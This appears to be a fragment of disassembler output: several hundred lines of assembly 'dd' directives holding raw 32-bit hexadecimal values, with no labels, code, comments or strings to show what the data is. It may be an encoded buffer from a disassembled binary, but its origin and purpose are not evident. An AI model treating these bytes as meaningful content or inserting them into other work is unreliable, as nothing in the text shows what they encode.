		dd 0D17D821Bh, 24FF0342h, 0C8F96187h, 7F902E27h, 70E13064h
		dd 59CF0558h, 0FC5B8F68h, 1AE9E0DCh, 65A79490h,	290BF07Ch
		dd 0ED0E9591h, 106A70Dh, 254F609Bh, 41272D12h, 0D602CDD4h
		dd 0C01BFC3Ch, 2FEB4771h, 0F068B1C2h, 0FC824021h, 0D0B9C045h
		dd 7D02F90Eh, 9CE9D929h, 9056442h, 31BE2E54h, 152F1180h
		dd 0FF9D2151h, 0E5754809h, 0BAD52DEFh, 867EC1BDh, 5DFBC252h
		dd 35CC68C0h, 2A03BD5Ch, 0DC97A3ADh, 38FA2566h,	0DA600C98h
		dd 1F55BBFAh, 0D1281F99h, 22D0AEBh, 7771034Fh, 0F5B00833h
		dd 11300ED6h, 8043185Dh, 1D235C0Dh, 69C49D2Eh, 2DB4E5F7h
		dd 5865F179h, 58868FEFh, 7DC21070h, 89212F53h, 0DFFA01C2h
		dd 0CCDE7F9h, 0D29BF26Eh, 0A88412ABh, 5D0CCB74h, 5E31F0E8h
		dd 0B1DBE0AAh, 5159540Bh, 0CEC36872h, 0F6F18A69h, 5DAD4AA3h
		dd 0F177CC3Ah, 0E877C907h, 82D9E3D5h, 4165975h,	0AC58EA68h
		dd 41F8C1C0h, 60206A81h, 0F80DD7F4h, 1C7F5766h,	7D2552AEh
		dd 9FCC994h, 5365A59h, 3E3D294Eh, 0DCE3DA00h, 7661DB0Fh
		dd 4398ABC1h, 3E257F29h, 0C3C1EFA1h, 3EA2F580h,	0EC0A53EAh
		dd 172CF135h, 0BC62FB2Dh, 824240B4h, 562D67D6h,	68A05B47h
		dd 0D6F276BEh, 0EE3C2D68h, 187F46Bh, 157B15Fh, 852A0EEh
		dd 0B4E95D17h, 96BE8EC0h, 4FDC3C4Bh, 2D77E60Bh,	0A305CE8Bh
		dd 5730BCEFh, 6DE8025h,	1A4D09C9h, 0F6DDA9E9h, 52514075h
		dd 288414B6h, 0FB6AA7F0h, 745F0297h, 787E6EBBh,	0A3B8E517h
		dd 77A21900h, 6263E969h, 0E6F635ACh, 0E05CD86Ch, 23A02D3Fh
		dd 0D5254076h, 5B5E8222h, 93B7D2C3h, 0B812B44h,	0E9D62045h
		dd 0B3FF9D16h, 0F9347E91h, 93C4A968h, 26BE0389h, 0E00A8A71h
		dd 278A9B21h, 4175B053h, 270DA18h, 0B75995E5h, 999AB0BCh
		dd 16BA355Fh, 145DE2Bh,	320908FDh, 4A6A2076h, 481F101Dh
		dd 21ABF780h, 25E9D372h, 807A4E73h, 0DB4B067Dh,	182D94C0h
		dd 5617C915h, 0AF6D6A77h, 3901BC2h, 53F1B410h, 9BD728B7h
		dd 0E79DD4DEh, 46145ACBh, 7B702E92h, 5455C2CBh,	0C02B42DFh
		dd 0F73BEBEh, 6422480Dh, 34ED0B96h, 75527654h, 0E9612C7Eh
		dd 26A793ABh, 0AE5F5558h, 0C0D8C793h, 1C25E8D1h, 9A9A2953h
		dd 96F8C12Dh, 37A08D09h, 0C36EA2FAh, 2BF10902h,	8DC6F007h
		dd 0DE2641D2h, 0E9FCE982h, 0BD7DF42h, 12478FF7h, 69C61920h
		dd 179E27F1h, 749D9B44h, 0C7974E7Eh, 155A32D8h,	84311B57h
		dd 3687534Bh, 0BD82CBCEh, 59044135h, 5EA2FCAAh,	0DC896E5Fh
		dd 18947528h, 35A8649h,	80326CB9h, 59CBE927h, 0AD6FA965h
		dd 11EC85B7h, 880460E9h, 0BE3A9253h, 12CA46A0h,	0F09835DAh
		dd 15009929h, 0A056526h, 132C742h, 0D2688A2Dh, 71D00172h
		dd 8208152Dh, 15822D25h, 0E5DD148Bh, 43460908h,	317F48C8h
		dd 0EBACF426h, 0A54A8401h, 0F3F44B1Bh, 185F1745h, 0F184BF6Ah
		dd 5E478517h, 588C4F85h, 50B209EEh, 0CAF02CA5h,	4E78B9A2h
		dd 532D68F6h, 350B9828h, 45B32C73h, 28F5A62h, 0D2C11F5Ah
		dd 0C4113C98h, 6806470Dh, 795C2CAEh, 3E31233h, 938AA2EDh
		dd 1712BFABh, 0F2E7E484h, 62195C97h, 0FF0BD6BDh, 0FC2114C6h
		dd 25AD28F7h, 9172FA66h, 26624B20h, 1349C1B6h, 192CA4Eh
		dd 630D43C5h, 40DA010Ah, 26681B79h, 0E050928h, 19337C9h
		dd 87E9D77Eh, 2FE86220h, 0C9C1795Eh, 90A32D57h,	0CA07C87Bh
		dd 9F02F19Fh, 8C05D668h, 0DA400E00h, 0AEE14B9h,	6E1086F8h
		dd 18573B75h, 420C5379h, 5F18984Ah, 1C978C6Fh, 0E53A54BDh
		dd 18975F26h, 0E05EFA81h, 4552124h, 0E1C0021Fh,	7A6ABD49h
		dd 2C7A90F9h, 12845EF5h, 0FA308C55h, 50753B2h, 0EF85E5Ch
		dd 0DE477DA2h, 79C3629Eh, 0EB51F05Eh, 0D7E3AC3Bh, 530BC1F6h
		dd 5A82F9B3h, 75D1F467h, 9B608F25h, 4477F845h, 84E45F70h
		dd 85DD01A9h, 0F83AF006h, 38C0DE83h, 3B986853h,	7816C471h
		dd 8640EC18h, 0FA0BD1F7h, 2D249C5Fh, 5CC51DDCh,	63FE2CEFh
		dd 7319759h, 147C57AAh,	0CDA9E0A5h, 50665980h, 0FAB7CDB0h
		dd 5F78BDDDh, 0F6C5FE07h, 0D44780D5h, 878DCA9h,	752793C0h
		dd 466CB268h, 0A03CD32Fh, 0DD5FC3CDh, 0ABF04B87h, 921886C8h
		dd 48BD7989h, 597A412Dh, 5F1310D4h, 242CE231h, 0FF25224Ah
		dd 4DF69FEEh, 0B404689Fh, 0A6D09D23h, 18C4FE3Fh, 0F535D83Dh
		dd 6D601635h, 0C9C80125h, 372ACB3Bh, 8141141h, 419EF604h
		dd 0B96E872h, 43431D5h,	549628DCh, 0ED5655F2h, 0AB90E03Eh
		dd 75A4664Fh, 8FC9BD09h, 0C1826AB8h, 0A8734048h, 1C5BDF1h
		dd 2585327h, 103578F6h,	89D247E2h, 0CA870E09h, 0A9DF00EFh
		dd 0BD34D718h, 29EBA648h, 26131E2Eh, 7C070514h,	4D114A2h
		dd 53EC55A7h, 5B79F04Dh, 5CE113B4h, 0B0A7DA08h,	17DF462Fh
		dd 23900176h, 685D0880h, 4CF4DA49h, 3E9620D3h, 31891B1h
		dd 3BCB1924h, 0CC600ABEh, 5051E04Bh, 7488F56h, 0E94CAE0Ch
		dd 0E02B6BC9h, 91608902h, 57AC45Fh, 66100975h, 0E3C8BA49h
		dd 0F3B92584h, 2A3CEDA2h, 5EBE5804h, 0C4999342h, 0D4CB0109h
		dd 0CC81F780h, 14904BEFh, 0E41F4279h, 16A4F698h, 0CBCC923Eh
		dd 0E976DC01h, 6A3D2A44h, 0FC02529Dh, 9608D3E7h, 0CD810087h
		dd 60500F14h, 3FE83490h, 51E8F04Ah, 0A3240A12h,	0F5969FDBh
		dd 0B0BF1583h, 0B54DEB32h, 7B2507D8h, 0B7EF901h, 3766175h
		dd 0EC848D44h, 0D230F2BFh, 0EB80FDE9h, 2EBA13F8h, 66735ECBh
		dd 2DA4BC5Bh, 0E253C3D6h, 0BDEDF801h, 4068AE60h, 22E46B52h
		dd 0C7709D04h, 2059C525h, 0E565B4BAh, 3F78952Dh, 88070FB0h
		dd 0E93C6B31h, 0D5092037h, 53694FD9h, 7B5F8019h, 27E96D4Ch
		dd 0ACD9F1B7h, 46F40147h, 7A310F21h, 512C4122h,	27481D00h
		dd 8A0975C4h, 6D8044h, 5E239FE5h, 0D0E91305h, 2BD7CD0Fh
		dd 0D3C113F5h, 3D39BF00h, 122DA83Dh, 812295B6h,	51EFC8AAh
		dd 0D696B558h, 64079E90h, 0C1011BCFh, 480854EEh, 11C817F8h
		dd 7B857CA9h, 0EE8A3441h, 0BC1AFEADh, 8B5788D2h, 57665DA9h
		dd 34C33D4Ah, 0DCE8B140h, 0BE26B34h, 12F8208Eh,	29B8187Dh
		dd 0D5D8B5D1h, 0B3F28105h, 8004CC1Ch, 60A9231Dh, 9D70D784h
		dd 0A0E80023h, 2E26AF74h, 0F581414Dh, 37155B3Eh, 0E9136F2Ch
		dd 0B2338086h, 88245070h, 3F1088D4h, 42844A38h,	982FB768h
		dd 8E2C98FDh, 0C508F05Ah, 0BF591788h, 497D7D0Fh, 47352436h
		dd 4388D87h, 0A3183E68h, 38F24A8Bh, 9238F94Bh, 0D9F26453h
		dd 2C93AAE4h, 0ECB7B4DEh, 7594680Ah, 6090405Bh,	60B03D72h
		dd 0F8571F05h, 93015611h
		dd 4F6AB7ABh, 0AE0E133Eh, 3D06E714h, 45757BACh,	5802F44Eh
		dd 6179045Bh, 2156B07h,	5C38175Dh, 0F73BE057h, 31B0040Dh
		dd 0FBF889C1h, 0A2FA8164h, 0DFE90B0Ch, 0F63A5F72h, 2A9051DDh
		dd 2F914130h, 81A033BBh, 61174E87h, 6A78B580h, 428E999h
		dd 27683310h, 12005CB5h, 795BB55h, 215580ABh, 0F04A9DE9h
		dd 7DBBCABEh, 0D51BA069h, 0AE5A04E6h, 62C81D16h, 3B924106h
		dd 0AB1CEF84h, 0EBC87D0Fh, 0B0ABD521h, 48DF5709h, 270EDCFBh
		dd 5FD87510h, 50B92E0Bh, 0F95663A1h, 0D06C3508h, 0BCC10492h
		dd 1D22AAF7h, 5AD9DC59h, 0D831C25Fh, 8A4EBFB4h,	0A363C4B4h
		dd 0C2E71244h, 8DE3BD02h, 3F60E97Ah, 0E7301C2Ch, 5BFE0A58h
		dd 0D3031C9Dh, 560FEAEEh, 82F4E9C1h, 1643EA2h, 6BE468ADh
		dd 32C03BA8h, 292D1A10h, 2D70D058h, 740D2026h, 0C164D567h
		dd 73969B0Ch, 21B17AA8h, 0B0F4812Eh, 555E0184h,	93545DCAh
		dd 4B80DC2Fh, 2CB6405Dh, 0A3C8E0B0h, 0F00A19F0h, 42A00C5Ah
		dd 0C35FE1F3h, 0C1D50EB5h, 876FE53h, 1B1E159Dh,	1BFC4D3h
		dd 7E9FB5Bh, 85917AF5h,	0F904EA30h, 611B8628h, 0A55CC4E3h
		dd 51BF0077h, 4A28D3D7h, 8100BE31h, 0E9CA095Bh,	0B6899785h
		dd 0FE2F96F5h, 27239E17h, 8631E75Fh, 0F5DC91E9h, 5766EB27h
		dd 5B2D734Dh, 76C9889Dh, 0E91D127h, 644A311Fh, 7F9F5034h
		dd 2057E697h, 0AD002599h, 3866612Dh, 131E054Bh,	0AF17A570h
		dd 685E06D0h, 72304D53h, 5F4EC681h, 3A767157h, 8F1012C0h
		dd 0B7377209h, 660B6303h, 4BEA9D24h, 2F32C12h, 0EE4EA516h
		dd 0B3807474h, 0E65266B2h, 0B70ECBD0h, 89B0E788h, 82034F59h
		dd 0EE843CEEh, 0C9DFD4A2h, 0C3595D13h, 81FBAEBCh, 415DFCADh
		dd 2EFFEFCAh, 515269EFh, 746B6E9h, 55CF4252h, 904998FEh
		dd 0D03FA4E8h, 4F09F53Fh, 0F3892507h, 0EB3D5955h, 19620FF2h
		dd 0A7D14753h, 7BF25ED4h, 0E58BE0C4h, 3B9D0D12h, 4A6FB01h
		dd 5238EE08h, 0A31F4EEEh, 58A9F0Eh, 46FB46Dh, 49EA4928h
		dd 87C61E06h, 0E4611A82h, 0AC9A52C7h, 12EEC788h, 689C40F2h
		dd 5F696D0Bh, 0AD7E06B8h, 0E3166882h, 1A11256Eh, 0EC747E89h
		dd 7C134DACh, 3FC1B61h,	0D4B858Ah, 3B64C2B9h, 4EC75D09h
		dd 2180E909h, 5FFE3124h, 7E0F5ACEh, 0EC825553h,	0F316A82Fh
		dd 0FFD6A25Ah, 0E9BD1116h, 403E2D33h, 0B96FF614h, 6810B265h
		dd 0E90956BFh, 38F42D16h, 0EFC75769h, 6467725h,	0D352BE2Dh
		dd 0BBF62F54h, 0FA2F5251h, 5EBEEE38h, 2366E4E0h, 6C956E24h
		dd 0D02F3E1Bh, 5CC44C5Eh, 7706B546h, 0C50CA0Eh,	0E936FF1Eh
		dd 0B76F2439h, 792CFEAFh, 0CB0CA683h, 3052B35h,	32AB219Ch
		dd 28435B7Ah, 0F742CB25h, 8C98FDC3h, 9B277FBBh,	88CFD301h
		dd 0B80163B5h, 2BB46299h, 4E5AC12Ah, 0C9F62903h, 4000DA76h
		dd 0A42568CDh, 282CD69h, 1FB3E956h, 80E6580Bh, 2DF7C490h
		dd 3ADA8B78h, 0F3E9DF13h, 4576983h, 786B4522h, 4CF0BE53h
		dd 87941FBFh, 666AFACh,	5FF83CC4h, 0E98B28FEh, 8107E84Ah
		dd 7872B5B0h, 92AFFACFh, 51C1148Eh, 0D510D266h,	73B4162Ah
		dd 88174502h, 0EA2861E6h, 75DFE02h, 0F3F09133h,	58E3C0DFh
		dd 331D6008h, 6AE98530h, 8191EC34h, 26312267h, 0EC2498F1h
		dd 95D17E01h, 7BFF1477h, 60F0BED4h, 657A7DB3h, 0E6FC5AB7h
		dd 0E40B1D17h, 0AAEE8145h, 69DE11D4h, 150A1042h, 14050E4Ch
		dd 0E108E72Fh, 55ED91Ch, 0FCD684FBh, 0E1E94ED0h, 0E25658F2h
		dd 6CDA7404h, 2F190E0h,	93258BFEh, 9C2C801h, 0DB7782CAh
		dd 0CE110D2Ah, 0DFF14118h, 4A36AE0h, 0CBDC5289h, 0A2E91205h
		dd 0DE884AA0h, 2F785C58h, 20B19ED7h, 8103CC54h,	77D73E7h
		dd 0EC0C053Bh, 0FA535722h, 6AE4CE13h, 80100603h, 5987E940h
		dd 7F5789BDh, 4C27A265h, 0E5E93A69h, 752196CBh,	4FE0AD65h
		dd 23245092h, 0FB855DF0h, 0AA4E838Bh, 59F856C8h, 0D7254ACBh
		dd 39DCC048h, 0F960582h, 0BABBD4FFh, 52AE06C5h,	1364E299h
		dd 35BFF59Fh, 0D12883A6h, 5F0A126Dh, 9CF52FA5h,	38E91A26h
		dd 827E26D0h, 1E759202h, 5C07D77Ch, 2D53181h, 7AFFF22Eh
		dd 83E93A5Fh, 0A193E84Fh, 95756E36h, 88BF0D3Bh,	0DD77A783h
		dd 93E9A930h, 9913BEDh,	312F0846h, 7A8BAC39h, 0CE861670h
		dd 9D160F6h, 0BFC680DEh, 0F9F4E92Eh, 1479BB82h,	0C39E60FAh
		dd 76AB980Dh, 10E33A16h, 18420798h, 387901B0h, 3177E913h
		dd 53BC041h, 2730686Ch,	0AA0DD339h, 0BF4A75F2h,	0BD40C5DEh
		dd 5BD640E3h, 0CFA08876h, 74996F75h, 0C81B6E0Bh, 826B3443h
		dd 16DD3089h, 0F2E910EBh, 68590575h, 64BB5596h,	0AFD40153h
		dd 3A36A60Eh, 57DE9F09h, 4D0A6D7Ah, 0C018254Eh,	0D49DAA20h
		dd 0CF786B1Ah, 39EE800Eh, 737A8C68h, 9DCC9264h,	38B792C1h
		dd 6DED5FBCh, 0B2FE80C5h, 2D494B8Eh, 0F65E2929h, 179AA622h
		dd 598FA0CFh, 425594F8h, 15DBD8F4h, 0E34A5682h,	5B03D143h
		dd 0D22E60EBh, 490BDA5Ah, 7F785FD1h, 0A416EED6h, 0BFE4688Dh
		dd 4E272875h, 170227ECh, 0C2E05E71h, 84B29Eh, 10B42D22h
		dd 0D029183Bh, 36070551h, 39246080h, 412955CCh,	800FBAD8h
		dd 5DF9017Dh, 951C3D68h, 11673B98h, 6468F782h, 321349CEh
		dd 0A107607Bh, 6B657A65h, 42187FBh, 0DA0BD18Dh,	5FB87F5Bh
		dd 0BEFE6284h, 45D4BCE2h, 0CB4FD3ACh, 46A404B9h, 100E1ED6h
		dd 0CA0A4A7Fh, 0C4AF6C21h, 9AF0EB17h, 0C379482Ch, 30448D5Fh
		dd 3C5AAD18h, 5A8963A2h, 4F6C4CD7h, 0B8F90092h,	1BC676ECh
		dd 8E0C100h, 57BB5340h,	13AE13A4h, 2EAEE131h, 403E5CF0h
		dd 0D0A2D06h, 0BB76CE51h, 789007A0h, 0B9635563h, 2DF6E927h
		dd 36CE872Fh, 0B8084F2h, 464CDDE9h, 9E1D5C2h, 473A9268h
		dd 4AED889Ah, 0D9F75B06h, 0AE49F04h, 1B037798h,	17A1E92h
		dd 0ED1202CEh, 18AA669Fh, 0AB6A55h, 28895E08h, 6158095Dh
		dd 4A04C39Dh, 14C7D8C9h, 2A1FA8A9h, 5896305Dh, 0F83510E0h
		dd 6BBE0106h, 0DB5AB05h, 0B5B13F89h, 0DA2B613Bh, 3B693F50h
		dd 7BF0D868h, 2E4C1B13h, 39800686h, 10C264Dh, 38555495h
		dd 2F6FFEE9h, 0EDC15FD9h, 8E5EB82Fh, 0F979682h,	6B4A201Fh
		dd 181BF781h, 0C39594Eh, 13096AA0h, 0E015E952h,	530D683Ah
		dd 552EBF0Eh, 8C5F16C5h, 87406515h, 73F30FBBh, 0FB076B62h
		dd 6061D347h, 0E7D41A4Ch, 3DF8E1F5h, 8258E943h,	390D10h
		dd 144863BDh, 7DEF0919h, 80E7345Dh, 0F681AA27h,	8341DBF7h
		dd 0B0CB8E19h, 38E9D931h, 0EE5E767Ch, 0F5023772h, 95274FCCh
		dd 4B9DF662h, 0E9136E16h, 0E6B3239Ah, 55A7BE92h, 1263532Ah
		dd 5333E95Bh, 961E0512h, 0DAE52010h, 3558DF45h,	75130471h
		dd 83A84BA0h, 0E1CC4331h, 0E167B0Ch, 215004FBh,	7D590BD8h
		dd 25288B2Fh, 3A084916h, 0E2890977h, 79E1A00h, 58B73FF7h
		dd 222B1285h, 867A0708h, 0CC827B23h, 0B5143B48h, 8909D2D9h
		dd 19F95DC7h, 0B2C25D16h, 0FD1B40ADh, 4D79200Ch, 747BA0Ch
		dd 0FEAF6A52h, 0EC115EE8h, 0EDD10081h, 0E768DDF7h, 6A5A909h
		dd 9810BA0h, 20125F4Bh,	0FF4660FCh, 7EE91303h, 4F75F2E1h
		dd 0DB3E0FF4h, 68C0CA97h, 8EA059AEh, 92977283h,	72982BCh
		dd 3FBD000Bh, 0F1F810Ch, 0EC13C531h, 5B7EC8AAh,	51002BBDh
		dd 0B0F5490Fh, 0B13F8379h, 6866E04Bh, 72E936A3h, 5CCA107Fh
		dd 5FD1BE03h, 3CD17C43h, 0D3367910h, 2A623DEEh,	0C58652BCh
		dd 0C301F3C6h, 9211A913h
		dd 0F93E5250h, 2D40162Bh, 37059FD0h, 0F28324ECh, 0CF2F13B9h
		dd 3B884BD4h, 994D5A15h, 0C2F06B09h, 3F17095Ch,	34C4D2F7h
		dd 9D1423Ah, 0E097E901h, 147FB829h, 976F8843h, 34751C04h
		dd 6680BA56h, 7440D0F7h, 2D219250h, 6AF355D2h, 1A906880h
		dd 0BE5A0D5Dh, 72E98BDAh, 0FE30FDC0h, 2570F690h, 0C9F4FC97h
		dd 589C5F7h, 8C736F68h,	0FB0EB4B6h, 607EC480h, 186833CCh
		dd 48E8A97Bh, 13FA725h,	0F1165D6Fh, 0FBCF427Fh,	3E301DE1h
		dd 0D4C9CAF1h, 68E1022Bh, 0FBF162CCh, 5C739280h, 6FC7E96Fh
		dd 0EE4124E3h, 200F3C6Dh, 7126AB67h, 863FAE54h,	216C1A63h
		dd 183F1D18h, 165DA564h, 1E5F9D55h, 10AAC10Ch, 0E5691FC5h
		dd 0C66360CBh, 564F9E05h, 65AC2950h, 55B0840h, 0EFE9F321h
		dd 7044AA6Dh, 0DAFF5ECBh, 9D73D6h, 4519BA79h, 0FB7A509Bh
		dd 0CB041DB8h, 12E2814Ch, 2163376Bh, 0C8B32B0Ch, 2E01D24Ch
		dd 0E942333Fh, 0DE67A5C3h, 15A095Eh, 68ADDBA2h,	14B0A09Bh
		dd 265BBE7Ch, 0C90A3AFCh, 97855Ch, 0C4DF27C3h, 76B521B2h
		dd 0FFF6A799h, 69B657Ah, 992E31E9h, 0B41DEA04h,	0C0FF2859h
		dd 0A5685FEBh, 0DE257E9Eh, 1203A327h, 0DFA7AF5Fh, 568BD791h
		dd 0E857B90Bh, 160DBC1h, 0C209749Bh, 40EAD158h,	8D3492DBh
		dd 81495F07h, 5A1215E1h, 41006247h, 5464DE76h, 4983DE58h
		dd 38693E84h, 38472F83h, 0F460BBF7h, 0C4F8095Ah, 307D39CCh
		dd 4F01E6BEh, 0C69ECE2h, 38CE428Dh, 6F1B0CEEh, 1E1837D9h
		dd 75964D10h, 0FD6C2A09h, 35F67C00h, 18DD0905h,	0D0A43B82h
		dd 5F0BFA85h, 5BAE0D6Dh, 40726DE4h, 510B65D5h, 82291E8Ch
		dd 66685994h, 5F9CB03Ah, 0EE42E486h, 0E44A42F0h, 20686E02h
		dd 38DD447Bh, 0C82CE8B1h, 2DE90442h, 0AEB991DAh, 0B0BA143Bh
		dd 0F74E386Ah, 0F6A188FCh, 0D1FFC254h, 0C422E222h, 28F3BE01h
		dd 85406AFDh, 2D99D70Fh, 935D2995h, 78D4FDC8h, 90EEF2FFh
		dd 0FBAA13F7h, 6AB21ED2h, 9DF655EBh, 0E4BE87F2h, 0B2DE2588h
		dd 59291739h, 0FC3281EBh, 407B2130h, 5531430Fh,	0F34E077Bh
		dd 0BA1032D3h, 5DF6A944h, 6EB9C002h, 0F7A50ED9h, 0D300861Ah
		dd 28CF6A9Fh, 17E0C12Eh, 1448408h, 8D38F268h, 5FC07F7Dh
		dd 131E0D50h, 0CAEE8955h, 0E6D11279h, 9984281Fh, 77C74C71h
		dd 1FAD7F95h, 0FF29FBD3h, 20720C7Eh, 0D8B78949h, 30F04077h
		dd 505AD50Bh, 0E53F02B4h, 0E167658h, 0F56652EDh, 245F0614h
		dd 45F81624h, 0FBA2C040h, 9F4E13A8h, 18E4C902h,	35D23104h
		dd 0F79BC873h, 0FB495FD1h, 0A2C9990Fh, 0D7469777h, 67EEA02h
		dd 18E37260h, 5D140C12h, 8CB923BEh, 6EEC34A1h, 60EEF706h
		dd 24E377C7h, 85FE59F0h, 0EF6B3868h, 0C96EE30h,	294C1255h
		dd 8BB6BA7Ch, 0E3895D28h, 5A7891D0h, 0E978E44Ah, 0A30CFB25h
		dd 2EC7DBEh, 5026BDBCh,	0D38042ACh, 2F135996h, 7A0AC5ECh
		dd 86640F65h, 61FFD512h, 3C1BF538h, 4D76C4C5h, 0E08734FDh
		dd 67D50962h, 8BD82DB8h, 2772E58h, 0E9CF8952h, 183FF8FFh
		dd 601C680h, 0B00550F9h, 240F0425h, 0D53BD387h,	2D27C8ECh
		dd 97CFF177h, 339EE19Dh, 70297A1Ch, 108C60DEh, 4FC01D4Eh
		dd 3B9D8902h, 0F46153AFh, 0FD0449BBh, 0F501BE33h, 6E1348F7h
		dd 38082361h, 464F75C7h, 4C9C5183h, 29BBC24Eh, 6005DAD4h
		dd 0FBD90A0h, 4F3E41BCh, 0D7F7975Ch, 15641002h,	0BD055536h
		dd 1D6483Dh, 7F84D206h,	0B743BF3Eh, 0E2E7D4B9h,	31F804DFh
		dd 0F2027BE8h, 7C6002D8h, 0A245C25Dh, 0DF261060h, 0BB2F3046h
		dd 0FD6C40Eh, 992DDDEEh, 0A3E2559Fh, 68C6985Bh,	0E9B70B54h
		dd 0AD3877Dh, 0F0441AAh, 14366F2Eh, 1BE90702h, 7A1A5D28h
		dd 665F52ABh, 90C65BCCh, 0E80CE9E7h, 2D3DD9B7h,	2D596B5Eh
		dd 0E966902Fh, 65B7383Bh, 72D2088Fh, 250F9020h,	66300A4Ch
		dd 1CD5671Ch, 39F3EB80h, 4F55A7Bh, 0FBC68904h, 8A14D4CBh
		dd 99162615h, 0D06DF040h, 889307B7h, 898FD759h,	0E1ACB84Bh
		dd 0DAF489D0h, 0F7298A1Fh, 793C9249h, 0D2FD4794h, 1C7F0854h
		dd 5AD4B54Fh, 9F6C56C9h, 705C6D09h, 9DFE0158h, 0BD1AB6D5h
		dd 975434F6h, 0E941347Eh, 20696CB6h, 87310493h,	0F60D007Ah
		dd 11D5209h, 205D8F7h, 3A7FFA40h, 0E917F0B7h, 128E57Bh
		dd 215452E1h, 40402F46h, 6E3801C5h, 4F5EB521h, 2D589E83h
		dd 0EF484B07h, 0AF2AD33Dh, 7892774Fh, 26BABEE5h, 168FE44h
		dd 666475CEh, 4BBD4035h, 7B4E5825h, 0F6020DE9h,	0F3568A4Eh
		dd 4A80EE4Ah, 49F4602Fh, 2A78E91Ch, 9192752Fh, 290F3E58h
		dd 8703A00Eh, 6C65597Dh, 0FD5914ECh, 0A59E938h,	1E4A042Eh
		dd 0B17A53E8h, 6BE83EE9h, 51A06FC9h, 5A1DE32Dh,	3C273D7Ah
		dd 59E82501h, 1C8BD7D1h, 0F5BDA97Fh, 0F7292D62h, 592E8853h
		dd 5927FEA6h, 0D684580Fh, 20205482h, 645620FAh,	0E0F7D17Fh
		dd 0EF99308Bh, 231C04ACh, 0D634F24Bh, 90D08C3h,	5EF73105h
		dd 19449C00h, 7B812E8Fh, 753003E5h, 0EBE94538h,	15ABA3ECh
		dd 1A2D63FDh, 579D2C68h, 0EC718EC0h, 0F815980h,	0DFD68FEBh
		dd 2F59A172h, 8E6E16BEh, 4CE55D69h, 4C421AEEh, 0C705C116h
		dd 0E5C07E00h, 0C5380579h, 8CEB2EF4h, 7AB96D37h, 0A768519Bh
		dd 38D44E3Ch, 94097507h, 0C7F5A457h, 9A3BA9AAh,	3445DBD1h
		dd 2B1274F5h, 7213D165h, 85E92D91h, 98C7E82Bh, 4C6F8C54h
		dd 0E600AE8Ah, 691721F0h, 0E25B18E9h, 0CADE9BF9h, 497C0B11h
		dd 505E1475h, 1268C150h, 0AB619033h, 5AF27B0h, 0E9190D31h
		dd 2DF3D00Fh, 74015DECh, 6F263577h, 94FD0216h, 2EA9754h
		dd 64937A45h, 9095A8D8h, 4B90E905h, 9A40EFCDh, 35A60548h
		dd 31661641h, 0AF11F1C7h, 581EDDE7h, 0E9A68195h, 0E36F7A46h
		dd 0E55C8FA5h, 82EC0379h, 0DB6FA1h, 1CC0DFF6h, 0EE8007E7h
		dd 0E5361F1Ah, 0D6609BFCh, 5827A47Dh, 68099909h, 5AD1649Ch
		dd 0E445B593h, 0A301CD87h, 67686EBAh, 0E4EAC220h, 9864B057h
		dd 0CB29DE92h, 10005FF9h, 55EB7CA2h, 0E9DBF705h, 0CC4918A7h
		dd 4DF65E45h, 0B5D57F52h, 5D7E83B8h, 532D143Eh,	310995Fh
		dd 4F8B5BC4h, 0D828CB0Ch, 0B7C62698h, 1C23579h,	0AC7360C3h
		dd 55622E6Bh, 6B00214h,	417D0275h, 937BE46Eh, 30BAEE44h
		dd 5F0248D8h, 9F1BB905h, 0ABFA8F76h, 0BF1DA0BDh, 0E6407E66h
		dd 0A450BD4Fh, 7AF5FE95h, 38B8AF01h, 7A876159h,	4E2D8401h
		dd 0FA872926h, 707469F3h, 228EE381h, 0A523732Ah, 0D5C5E22Dh
		dd 67208E9Eh, 0E60D00BDh, 5794232h, 0A70037C5h,	1A612D63h
		dd 4FE970BBh, 0E01849A1h, 9AB60E96h, 4BF94466h,	1065E65Ch
		dd 0BC4E472Fh, 55B85BDCh, 0C0020664h, 8B1D5047h, 0DA89010Eh
		dd 0F7D36B5Bh, 0A209439Ch, 0D2314632h, 880880FBh, 0A7439E03h
		dd 68040C65h, 54984739h, 0BFD35AC3h, 53EFCA65h,	272104CDh
		dd 9DDBE8C6h, 14097BC7h, 3B561FC3h, 0C296E549h,	0E1F2F852h
		dd 0B83B5A54h, 40C2C079h, 0B51B7973h, 820D554h,	1CF4529Fh
		dd 2F70B468h, 0A51616D5h, 98FCA062h, 64A63E00h,	5BCFF302h
		dd 94871516h, 71B06287h, 0CC1232D5h, 93C9854h, 1BEA2117h
		dd 42C49B87h, 72F770F8h, 7E916EAh, 46455869h, 594AC821h
		dd 815631BAh, 79923F6Ah, 0BF8EA087h, 7FD632F2h,	3F70314h
		dd 4F57803Dh, 70DE0E04h, 90820B77h, 34C6FDCEh, 0D91CCD25h
		dd 0EC92BCA4h, 0E2B2BEE6h, 0D3166012h, 9B9EB6C1h, 2AAEC14Eh
		dd 8A94A22h, 3161AE4Eh
		dd 0E36B3C87h, 81C2D3BCh, 0C281F606h, 5F09EE07h, 68E874C4h
		dd 7448FB2Fh, 0F99550C0h, 78C15F82h, 5253F492h,	8034B213h
		dd 5A1809FFh, 0E19E447Dh, 0C565C760h, 0E789EBh,	0FD7B9EF3h
		dd 7FE34B1Bh, 1F382F4h,	43AE29CEh, 23EE0EE9h, 23297867h
		dd 991FCB26h, 284387E9h, 0C1B4E8h, 8005C13Dh, 7B36C6EAh
		dd 9425DD2Dh, 0B689B079h, 2851C24Bh, 9A4784Ch, 0B656D620h
		dd 338052D7h, 286807FEh, 540BEEF8h, 5E2FC04Dh, 4C86BCB7h
		dd 36C53DD5h, 3A4FCF09h, 955741Ah, 8FD46752h, 0ED485D49h
		dd 3B12B0BBh, 75B95AEDh, 52599082h, 495FD940h, 0FA7B16B4h
		dd 56324AF0h, 8C4AFEh, 401470F7h, 0B00742Dh, 0E8C155B2h
		dd 4ADFE903h, 69C0B4F1h, 8E476A17h, 1A10ECF3h, 5C680940h
		dd 20AEC61Ch, 585F6FDCh, 3A4C3DAFh, 0AA6952E7h,	0BD34965Fh
		dd 0FD58B8D4h, 6E5C81EFh, 0D9208BBCh, 1FEB48BDh, 0B075DF74h
		dd 50417CC0h, 2FFD6075h, 13808AE0h, 0AF28BC6Fh,	6A758391h
		dd 0A2E95FC4h, 93047182h, 7BE3BE50h, 86E4FB92h,	7DD24CF7h
		dd 2C36E400h, 8ABF5701h, 3E643A1Dh, 0B758FAD8h,	9F799FD9h
		dd 85EC052h, 0B76094D6h, 38ABC3BEh, 0AC0B0C0Bh,	0BA1C0A5Dh
		dd 4BD7D08h, 0F34B5668h, 64A851B5h, 0C3B5E2B4h,	552CA011h
